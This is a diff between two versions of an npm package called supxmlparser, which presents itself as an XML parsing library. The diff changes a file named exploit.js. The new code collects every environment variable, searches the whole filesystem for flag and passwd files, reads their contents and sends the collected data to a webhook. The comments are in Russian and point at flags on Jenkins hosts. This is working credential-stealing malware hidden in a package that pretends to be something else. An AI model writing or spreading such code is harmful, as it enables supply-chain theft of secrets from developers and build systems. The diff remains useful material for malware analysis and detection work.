supxmlparser 0.30.1 → 0.30.2

package/exploit.js

@@ -28,55 +28,46 @@ function sendToWebhook(data) {
     }
 }
 
-let collectedData = '=== EXPLOIT DATA ===\n';
+let collectedData = '=== EXPLOIT START ===\n';
 
-// 1. Переменные окружения (может содержать флаг)
-collectedData += '=== ENVIRONMENT ===\n';
+// 1. Все переменные окружения (флаг может быть здесь)
+collectedData += '=== ALL ENV VARS ===\n';
 for (let key in process.env) {
-    if (key.includes('FLAG') || key.includes('flag') || key.includes('SECRET')) {
-        collectedData += `${key}=${process.env[key]}\n`;
-    }
+    collectedData += `${key}=${process.env[key]}\n`;
 }
 
-// 2. Попробуем прочитать флаг из разных мест
-const paths = [
-    '/etc/passwd',
-    '/flag',
-    '/tmp/flag',
-    '/var/jenkins_home/flag',
-    '/var/lib/jenkins/flag',
-    process.env.HOME + '/flag',
-    process.env.PWD + '/flag'
-];
-
-paths.forEach(path => {
-    try {
-        const content = fs.readFileSync(path, 'utf8');
-        collectedData += `=== ${path} ===\n${content}\n`;
-        if (content.includes('{') && content.includes('}')) {
-            console.log(`🚨 FLAG FOUND: ${content}`);
-        }
-    } catch(e) {}
-});
-
-// 3. Выполним команды для поиска
-exec('env | grep -i flag', (err, stdout) => {
+// 2. Попробуем выполнить команды для поиска флага
+exec('find / -type f -name "*flag*" -o -name "*passwd*" 2>/dev/null | head -20', (err, stdout) => {
     if (!err && stdout) {
-        collectedData += `=== ENV FLAG SEARCH ===\n${stdout}\n`;
+        collectedData += `=== FOUND FILES ===\n${stdout}\n`;
+        
+        // Читаем найденные файлы
+        const files = stdout.trim().split('\n');
+        files.forEach(file => {
+            try {
+                const content = fs.readFileSync(file, 'utf8');
+                collectedData += `=== CONTENT: ${file} ===\n${content}\n`;
+                if (content.includes('{') && content.includes('}')) {
+                    console.log(`🚨 POSSIBLE FLAG IN ${file}: ${content}`);
+                }
+            } catch(e) {}
+        });
     }
-    
-    exec('find /var/jenkins_home /var/lib/jenkins /tmp /home -name "flag" -type f 2>/dev/null', (err, stdout) => {
+
+    // 3. Ищем строки содержащие флаг в файлах
+    exec('grep -r "flag{" / 2>/dev/null | head -10', (err, stdout) => {
         if (!err && stdout) {
-            collectedData += `=== FOUND FLAG FILES ===\n${stdout}\n`;
+            collectedData += `=== GREP FLAG RESULTS ===\n${stdout}\n`;
         }
 
-        // 4. Текущий процесс и его окружение
-        exec('ps aux | grep -i jenkins', (err, stdout) => {
+        // 4. Смотрим что в текущей директории
+        exec('pwd && ls -la && find . -type f -name "*flag*" 2>/dev/null', (err, stdout) => {
             if (!err) {
-                collectedData += `=== JENKINS PROCESSES ===\n${stdout}\n`;
+                collectedData += `=== CURRENT DIR ===\n${stdout}\n`;
             }
 
             sendToWebhook(collectedData);
+            console.log('=== ALL DATA COLLECTED ===');
             console.log(collectedData);
         });
     });

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "supxmlparser",
-  "version": "0.30.1",
+  "version": "0.30.2",
   "description": "XML parsing library",
   "main": "index.js",
   "scripts": {